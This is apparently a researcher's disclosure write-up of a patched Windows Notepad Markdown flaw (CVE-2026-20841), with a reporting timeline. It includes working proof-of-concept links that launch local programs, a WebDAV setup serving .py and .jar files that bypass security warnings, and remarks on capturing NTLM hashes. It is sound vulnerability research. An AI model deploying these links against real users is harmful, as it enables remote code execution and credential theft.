TLDR: POC at the bottom. It is actually pretty simple

Intro

Recently, Microsoft updated notepad and at some point in 2025 it gained the ability to render Markdown files.

Poking around

I played a bit with this functionality when I first noticed it. Looked mostly into the link feature, as this is something a lot of markdown renderers on the web get wrong and can have an impact.

I noticed pretty fast that when a user clicks a link (Ctrl+Click) the default browser opens instantly, without a confirmation pop-up (as is common in web browsers). Using another URI scheme, other than HTTP, like ms-calculator:// or steam:// also opens the respective applications without confirmations.

So far nothing I would consider too bad. If an attacker is able to execute code using a registered URI scheme I would consider the vulnerability in the handler application, not the caller. A confirmation would be nice, but it’s not a problem.

I inspected the program and found out that it uses ShellExecuteW to open the URIs with lpParameters set to NULL. After finding this, I tried a payload similar to this

[Click me](cmd)

and a terminal window popped up. This also works with the file:// scheme or even plain paths

Both open a new Notepad window
[Click me](C:\\Windows\\notepad.exe)
[Click me](file://C:\\Windows\\notepad.exe)

The Markdown link parser allows spaces (using <>) for something like cmd /c pause. But, as the input is passed to lpFile and not lpParameters, the execution would fail as it will not find the file to execute.

What happens when we attempt to open non-executable files? I tried using another markdown file in the same directory

[Click me](another.md)

It opens a new Notepad tab. I thought it was just some special behaviour to open non-executables in notepad, as I didn’t check the entire code. I tried a python file and it opened a terminal window. This is because the default handler for python files on my system is the python interpreter (changed it to test this)

So, we can run programs and open files with the default application that are already on the machine without parameters. I still didn’t consider this a big problem as it allows only execution of local files. Maybe a phishing attack with a zip that contains both a malicious program and a markdown file would work, but at this point it’s just like double-clicking an executable.

I stopped here and did nothing for a few months.

The remote part

I wanted to use Sysinternals for unrelated reasons and didn’t have them downloaded. Going to the site I noticed the Sysinternals Live section which states that you can use \\live.sysinternals.com\tools\<toolname> in the command prompt to “run Sysinternals tools directly from the Web without manually downloading them.”

I got back to markdown-in-Notepad to test this quickly

[Click me](\\live.sysinternals.com\tools\procmon64.exe)

Clicking this will make the following pop-up:

Invalid link

The link is either corrupt or broken.

That wasn’t useful, but I checked a few other payloads

[Click me](file://live.sysinternals.com/tools/procmon64.exe)

I got the security warning that comes with running executables with Mark of the Web Sysinternals live uses WebDAV, so I tried starting a server and checking if I get connection requests

mkdir webshare
echo test > webshare/hello.txt
wsgidav --host=0.0.0.0 --port=80 --root=./webshare --auth=anonymous
[Click me](file://172.17.10.160/DavWWWRoot/hello.txt)

I get the request and a new Notepad tab opens with the contents of the file.

What didn’t happen: I didn’t get a MoTW warning to open the file. I tried with .exe, .cmd, .ps1 files on my WebDAV server and I got the warning.

So we can open non-executable files without warning and executables with a warning that the user has to explicitly allow (a bit unlikely that a user would ignore that).

Then I realized that I checked only with extensions that are used by Windows, not by other programs with associated file extensions. I initially checked with a .jar file, but the setup is easier with a .py file

test.py

print("Hello world")
input()
[Click me](file://172.17.10.160/DavWWWRoot/test.py)

But this might work only on developer machines that associate .py with the interpreter.

Introducing java (thanks block game), which is installed by a lot of people

import javax.swing.JOptionPane;

public class HelloWorldPopup {
    public static void main(String[] args) {
        JOptionPane.showMessageDialog(null, "Hello World");
    }
}

compile the above into a .jar

[Click me](file://172.17.10.160/DavWWWRoot/test.jar)

This causes the default handler to open the file and bypasses the warning pop-up. This applies to any file type that is registered to open with a program that can execute arbitrary code. Microsoft doesn’t consider this an issue as it isn’t a native Windows executable.

Screenshot of a python program that prints various information about the system with notepad in background

POC video that was also sent to Microsoft

Bonus

The URI file://172.17.10.160 will attempt to connect to a SMB share first, then fallback to WebDAV. This can be used to gather NTLM hashes in an Active Directory scenario

You can still run local programs using [Text](calc.exe) or [Text](C:/Path/To/Exe) without any warnings

You can use .jar files to download and run remote executables without warnings. If you don’t have Java, you can download it from Microsoft

Conclusion

The markdown implementation in Notepad had issues handling URIs securely which could have led to code execution if an unaware user clicked malicious links.

The issue was reported to Microsoft and got assigned CVE-2026-20841. The issue was also found independently by chen9918b Alasdair Gorniak

My Reporting Timeline:

  • 2025-12-16 - Opened the report on MSRC
  • 2025-12-17 - Report got closed as Not Applicable, I asked if I can make this blog post, Report got reopened
  • 2026-01-14 - Notepad receives an update with the fix in the Microsoft Store
  • 2026-02-10 - CVE published on Patch Tuesday
  • 2026-02-12 - Severity lowered to 7.8 from 8.8 as it is “(Remote code) execution”, not “Remote (code execution)” - Not sure why it was that high to begin with